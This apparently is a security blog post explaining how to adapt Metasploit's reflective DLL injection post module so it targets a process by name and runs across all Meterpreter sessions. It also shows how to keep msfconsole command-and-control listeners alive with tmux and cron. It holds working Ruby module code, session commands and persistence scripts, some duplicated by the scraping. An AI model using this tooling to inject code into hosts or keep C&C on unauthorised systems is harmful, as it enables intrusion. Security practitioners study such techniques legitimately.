Metasploit

The main objective is to remove the persistence of an attack creating a new process. We could do it executing directly a bash command concatenating all in just one line, in order to execute it before it kills itself. But on some cases it will be easier and cleaner (and cause we can 🙂 ) .

1- How to inject .dll in a process
2- Modify the module to fit our needs.

We will use the post/windows/manage/reflective_dll_inject module to inject .dll in a process, and as a base of our future modifications.

Here you have the github of the project with all the explanation of the method and a small documentation.

https://github.com/stephenfewer/ReflectiveDLLInjection

Steps I followed:

Clone the project
Open the rdi.sln project on Visual Studio
You will need C++ dependencies + others. (probably you will need the SDK 8.1)
You have to define the route to the dependencies. (Proprieties –> VC++ Directories )

Add your code to the ReflectiveDll.c

You have the inject.exe to test it locally, as it triggers the .dll file.

Should be noted that we must inject .dll libraries only to the same architecture process (x86/x64/ARM).

For now, once we build the .dll, we are ready to execute it from Metasploit. We only have to assign the PATH to the .dll file, and the PID of the process to be injected to run the .dll code.

All fine until here, but for our purpose where we have multiple connections and we want to run it in all sessions at once. So we need to modify the module and change the way they reference the process with the PID for the Process Name.

To add new modules the best way is:

cp /opt/metasploit-framework/modules/post/windows/manage/reflective_dll_inject.rb ~/msf4/modules/post/windows/manage/reflective_dll_inject2.rb

Modified:

       OptString.new('PROCESS',[true, 'Process name to inject of process to inject payload.', "explorer.exe"]),
      ], self.class)
  end

  # Run Method for when run command is issued
  def run
    # syinfo is only on meterpreter sessions
    print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?

    processname = datastore['PROCESS']
    pid = client.sys.process[processname]
    host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
	
    print_status("Injecting #{datastore['PATH']} into #{datastore['PROCESS']} PID:#{pid} ...")
    dll_mem, offset = inject_dll_into_process(host_process, datastore['PATH'])

OptString.new('PROCESS',[true, 'Process name to inject of process to inject payload.', "explorer.exe"]),

], self.class)

end

# Run Method for when run command is issued

def run

# syinfo is only on meterpreter sessions

print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?

processname = datastore['PROCESS']

pid = client.sys.process[processname]

host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)

print_status("Injecting #{datastore['PATH']} into #{datastore['PROCESS']} PID:#{pid} ...")

dll_mem, offset = inject_dll_into_process(host_process, datastore['PATH'])

https://github.com/spamv/Metasploit_dll_injection2/blob/master/reflective_dll_injection2

As you can see, we will only change the INT option for a PROCESS string, and later client.sys.process function get the PID of the process name. We also hardcoded the option parameters, as we pretend to execute them together.

If we need to change any of this options, we can always define a global parameter before the execution.

Now we use the reload_all to reload all the new or modified modules.

To execute it in all the Metasploit sessions:

sessions -C “run post/windows/manage/reflective_dll_inject2”

In order to have listeners always ready on the C&C and have access easily through SSH we will use Tmux.
Tmux is a powerful alternative to the Screen command, included in multiple Linux distributions like Kali.

Requirements:
– Detachable from the console.
– Always up.
– Logging all the connection.

Create a script called tmux_listener.sh

name="windows"
tmux new-session -d -s $name 'msfconsole -r rcscripts/'$name'.rc' 2>&1 | if grep -q duplicate; then echo "Duplicated session bro: "$name; else echo "Created and loggin: "$name; tmux pipe-pane -o -t $name "cat > /root/logs/"$name"_`date +%F_%T`.log";fi

1 2	name="windows" tmux new-session -d -s $name 'msfconsole -r rcscripts/'$name'.rc' 2>&1 \| if grep -q duplicate; then echo "Duplicated session bro: "$name; else echo "Created and loggin: "$name; tmux pipe-pane -o -t $name "cat > /root/logs/"$name"_`date +%F_%T`.log";fi

As you can see here we create a new detached session, then we check if there is another active session, if there is no we create another loggin file.

Finally execute this script to add the script to the Cron job scheduler

(crontab -l ; echo \"*/2 * * * * /root/whse/tmux_listener.sh\") | sort | uniq | crontab

1	(crontab -l ; echo \"/2 * * * /root/whse/tmux_listener.sh\") \| sort \| uniq \| crontab

If for any reason it dies, the Cron job will trigger another one automatically and another logging file.

Just with we don’t need to worry about it, as it will always be a listener active.

Listing all the Tmux sessions:

tmux ls

tmux ls

Attaching to a session (“windows” is how we named the session before):

tmux attach -t windows

1	tmux attach -t windows

Detach from the session:

Control + B + D

1	Control + B + D

Octopus Security

Removing infection modifying Metasploit post modules

Manage metasploit listeners with Tmux